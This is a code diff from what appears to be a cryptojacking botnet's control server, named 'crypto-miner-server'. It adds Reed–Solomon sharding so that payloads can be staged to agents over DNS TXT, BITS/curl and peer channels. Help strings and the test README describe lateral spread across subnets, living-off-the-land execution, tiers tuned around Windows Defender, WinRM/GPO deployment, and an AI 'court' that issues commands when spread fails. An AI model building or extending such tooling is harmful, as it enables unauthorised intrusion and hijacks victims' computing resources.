ClearanceLevel int `json:"clearance_level"` Score float64 `json:"score"` - Reason string `json:"reason,omitempty"` + Reason string `json:"reason,omitempty"` + ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"` } // SpreadRouteHint is attached to signed deploy plans for agent egress routing. @@ -102,6 +104,8 @@ type SpreadRouteHint struct { JoinLane string `json:"join_lane,omitempty"` Score float64 `json:"score,omitempty"` ClearanceLevel int `json:"clearance_level,omitempty"` + // ErasureLanesEnabled signals parallel Reed–Solomon lane redundancy on deploy plans. + ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"` } // RouteTable holds weighted edges and recommendations. @@ -142,7 +146,7 @@ func Build(in Input) *RouteTable { targets := normalizeTargets(in) for _, target := range targets { cands := collectCandidates(in, target, fleetByID, laneRates) - rec, edges := scoreCandidates(target, in.RequestedLane, cands) + rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands) if rec.SeedAgentID != "" { rt.Routes = append(rt.Routes, rec) rt.bySubnet[target] = rec @@ -168,15 +172,16 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint { return nil } return &SpreadRouteHint{ - TargetSubnet: rec.TargetSubnet, - SeedAgentID: rec.SeedAgentID, - SeedAgentName: rec.SeedAgentName, - EgressAgentID: rec.EgressAgentID, - EgressHopIndex: rec.EgressHopIndex, - SessionID: rec.SessionID, - JoinLane: rec.JoinLane, - Score: rec.Score, - ClearanceLevel: rec.ClearanceLevel, + TargetSubnet: rec.TargetSubnet, + SeedAgentID: rec.SeedAgentID, + SeedAgentName: rec.SeedAgentName, + EgressAgentID: rec.EgressAgentID, + EgressHopIndex: rec.EgressHopIndex, + SessionID: rec.SessionID, + JoinLane: rec.JoinLane, + Score: rec.Score, + ClearanceLevel: rec.ClearanceLevel, + ErasureLanesEnabled: rec.ErasureLanesEnabled, } } @@ -292,7 +297,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps return out } -func scoreCandidates(target, requestedLane string, cands []candidate) (RouteRecommendation, []RouteEdge) { +func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) { var edges []RouteEdge var best RouteRecommendation var bestScore float64 @@ -331,16 +336,17 @@ func scoreCandidates(target, requestedLane string, cands []candidate) (RouteReco reason = "fleet agent on target subnet" } best = RouteRecommendation{ - TargetSubnet: target, - SeedAgentID: c.agentID, - SeedAgentName: c.agentName, - EgressAgentID: c.agentID, - EgressHopIndex: c.hopIndex, - SessionID: c.sessionID, - JoinLane: firstNonEmpty(requestedLane, c.joinLane), - ClearanceLevel: c.clearance, - Score: weight, - Reason: reason, + TargetSubnet: target, + SeedAgentID: c.agentID, + SeedAgentName: c.agentName, + EgressAgentID: c.agentID, + EgressHopIndex: c.hopIndex, + SessionID: c.sessionID, + JoinLane: firstNonEmpty(requestedLane, c.joinLane), + ClearanceLevel: c.clearance, + Score: weight, + Reason: reason, + ErasureLanesEnabled: erasureLanes, } } } diff --git a/server/internal/spreadrouter/router_test.go b/server/internal/spreadrouter/router_test.go index 1e33aff..f7756c7 100644 --- a/server/internal/spreadrouter/router_test.go +++ b/server/internal/spreadrouter/router_test.go @@ -104,6 +104,25 @@ func TestNormalizeSubnet(t *testing.T) { } } +func TestBuildSetsErasureLanesFlag(t *testing.T) { + in := Input{ + TargetSubnets: []string{"10.9.8"}, + ErasureLanesEnabled: true, + FleetAgents: []FleetAgentSnapshot{ + {AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true}, + }, + } + rt := Build(in) + rec, ok := rt.Recommend("10.9.8") + if !ok || !rec.ErasureLanesEnabled { + t.Fatalf("route=%+v ok=%v", rec, ok) + } + hint := ToHint(rec) + if hint == nil || !hint.ErasureLanesEnabled { + t.Fatalf("hint=%+v", hint) + } +} + func TestToHint(t *testing.T) { hint := ToHint(RouteRecommendation{ TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8, diff --git a/server/main.go b/server/main.go index cc04e9c..5afe48a 100644 --- a/server/main.go +++ b/server/main.go @@ -22,6 +22,7 @@ import ( "crypto-miner-server/internal/cloudflared" "crypto-miner-server/internal/db" fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/pool" "crypto-miner-server/internal/scheduler" @@ -301,7 +302,9 @@ func main() { } return api.PublicBuildsConfig{Enabled: cfg.Server.PublicBuildsEnabled, LatestN: n} } + erasureShardStore := erasure.NewShardStore() publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg) + publicHandler.BindErasureShardStore(erasureShardStore) spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub) spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter) deployPlanHandler := api.NewDeployPlanHandler( @@ -310,6 +313,7 @@ func main() { func() string { return cfg.Server.FleetSecret }, func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) }, ) + deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore) // Path Forge: server-side recursive file seeding pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir) @@ -403,6 +407,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager FleetRolesEnabled: cfg.Server.FleetRolesEnabled, HashrateGateSpreadMin: cfg.Server.HashrateGateSpreadMin, HashrateGateHPS: cfg.Server.HashrateGateHPS, + ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled, }) } if poolManager != nil { diff --git a/server/web/src/components/CalibrationAIControl.tsx b/server/web/src/components/CalibrationAIControl.tsx index 9d44050..6df4942 100644 --- a/server/web/src/components/CalibrationAIControl.tsx +++ b/server/web/src/components/CalibrationAIControl.tsx @@ -195,6 +195,17 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) { Enable adaptive strategy engine +
+ +
{server.lotl_onion_tiers?.length ? (

Spread tier order: {server.lotl_onion_tiers.join(' → ')} diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts index 828a7f0..f9be39c 100644 --- a/server/web/src/help/settingHelp.test.ts +++ b/server/web/src/help/settingHelp.test.ts @@ -104,6 +104,7 @@ describe('FIELD_HELP', () => { 'ai_auto_elevate_clearance', 'fleet_phenotype', 'failure_atlas', + 'erasure_lanes', 'ai_court_session', 'ai_persona', 'ai_persona_aggressive', diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index c018622..ec435de 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -38,6 +38,8 @@ export const FIELD_HELP: Record = { 'When one agent in a fingerprint bucket finds a winning spread+mining path, the server publishes a fleet phenotype. Sibling agents inherit tier_order and spread_lane on auth without re-forge — Access Depth and LOTL Timeline show "cloned from" badges.', failure_atlas: 'Server-side failure atlas records conditioned tier failures (e.g. ps_inmemory under Defender on). After five failures it hard-skips subtrees in adaptive_strategy and pushes atlas_skips on agent auth. LOTL Timeline marks tiers skipped_by_atlas.', + erasure_lanes: + 'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.', ai_court_session: 'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.', calibration_ai_control: diff --git a/server/web/src/pages/PathTracerPage.tsx b/server/web/src/pages/PathTracerPage.tsx index 0c0f67f..4fa92e1 100644 --- a/server/web/src/pages/PathTracerPage.tsx +++ b/server/web/src/pages/PathTracerPage.tsx @@ -434,6 +434,7 @@ export default function PathTracerPage() {

  • {route.target_subnet} → {route.seed_agent_name ?? route.seed_agent_id.slice(0, 8)} {route.join_lane ? ` (${route.join_lane})` : ''} + {route.erasure_lanes_enabled ? ' · RS lanes' : ''} {route.score ? ` · ${route.score.toFixed(2)}` : ''}
  • ))} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 12c1f60..eca2987 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -343,6 +343,8 @@ export interface ServerSettings { ai_persona?: string; /** Split seeders (LAN staging) from miners (RandomX) with auth role hints. */ fleet_roles_enabled?: boolean; + /** Reed–Solomon multi-lane shard metadata on signed deploy plans (default off). */ + erasure_lanes_enabled?: boolean; /** Triple onion recon/deploy gates pushed to agents at auth. */ triple_onion_policy?: { patch_first?: boolean; @@ -692,6 +694,7 @@ export interface SpreadRouteRecommendation { clearance_level?: number; score: number; reason?: string; + erasure_lanes_enabled?: boolean; } export interface ServiceGraphEntry { diff --git a/tests/README.md b/tests/README.md index a10ef2f..c1c5587 100644 --- a/tests/README.md +++ b/tests/README.md @@ -30,6 +30,7 @@ Windows dashboard only; no in-process cloudflared. Genealogy fields are **teleme | **Atlas LAN gossip** | Agent `client/atlas_gossip.go`; server `internal/atlas/lan_gossip.go`, `internal/api/atlas_gossip.go` | `go test ./client/... -run AtlasGossip -count=1`; `go test ./internal/atlas/... ./internal/api/... -run AtlasGossip -count=1` | | **Genetic phenotype breeding** | `server/internal/strategy/breeding.go` merges sibling phenotypes | `go test ./internal/strategy/... -run Breeding -count=1` | | **BGP-style spread router** | `server/internal/spreadrouter/`; Path Tracer + deploy plan `spread_route_hint` | `go test ./internal/spreadrouter/... -count=1`; `go test ./internal/api/... -run SpreadRoute -count=1` | +| **Erasure-coded multi-lane spread (foundation)** | Server `internal/erasure/` RS 4+2 encode + `erasure_plan` on deploy plans; agent `deploy/erasure_staging.go` k-of-n reassembly fallback; Calibrate `server.erasure_lanes_enabled` + Path Tracer `RS lanes` hint | `go test ./internal/erasure/... -count=1`; `go test ./internal/api/... -run Erasure -count=1`; `go test ./deploy/... -run Erasure -count=1`; `go test ./config/... ./client/... -run Erasure -count=1` | | **Spread genealogy watermark** | Forge `-ldflags` + env overrides; auth/stats JSON only | `go test ./config/... -run Genealogy -count=1`; `go test ./internal/builder/... -run Genealogy -count=1`; `go test ./internal/api/... -run SpreadGenealogy -count=1` | | **Court retry + L4 elevation** | `server/internal/ai/court_commands.go`, scheduler `ensureCourtRetryClearance` | `go test ./internal/ai/... -run CourtRetry -count=1` | | **Hashrate + subnet spread gates** | Agent `deploy/hashrate_gate.go`; server `internal/db/subnet_spread_pause.go`, `internal/atlas/subnet_immune.go` | `go test ./deploy/... -run HashrateGate -count=1`; `go test ./internal/db/... ./internal/atlas/... -run Subnet -count=1` | @@ -52,7 +53,10 @@ Master suite: `.\scripts\test-suite.ps1` (all 8 phases). Focused P2 after landin | WS/beacon integration | `cd agent && go test ./client/... -run WSBeacon -count=1` and `cd server && go test ./internal/api/... -run WSBeacon -count=1` | | Spread lanes (mock) | `cd server && go test ./internal/api/... -run SpreadLane -count=1` and `cd agent && go test ./deploy/... -run WinRM -count=1` | | Path Forge | `cd server && go test ./internal/builder/... -run PathForge -count=1` and `cd server/web && npm run test -- --run src/pages/BuilderPage.test.tsx` | -| E2E onion + discover | Phase 8: `lotl-timeline.spec.ts`, `discover-spread.spec.ts` | +| E2E onion + discover | Phase 8: `lotl-timeline.spec.ts`, `discover-spread.spec.ts` (incl. 3-hop chain stub) | +| Container/podman mocks | `cd agent && go test ./miner/... -run "Container|Runtime" -count=1` | +| BITS/curl target-OS mocks | `cd agent && go test ./deploy/... -run "BITS|CurlStaging|Staging" -count=1` | +| WinRM/GPO/systemd httptest | `cd server && go test ./internal/api/... -run PostDeploy -count=1` and `cd agent && go test ./deploy/... -run "DeployPlanWinRM|DeployPlanGPO|DeployPlanLinux" -count=1` | ## Phases | Phase | What it runs | Location |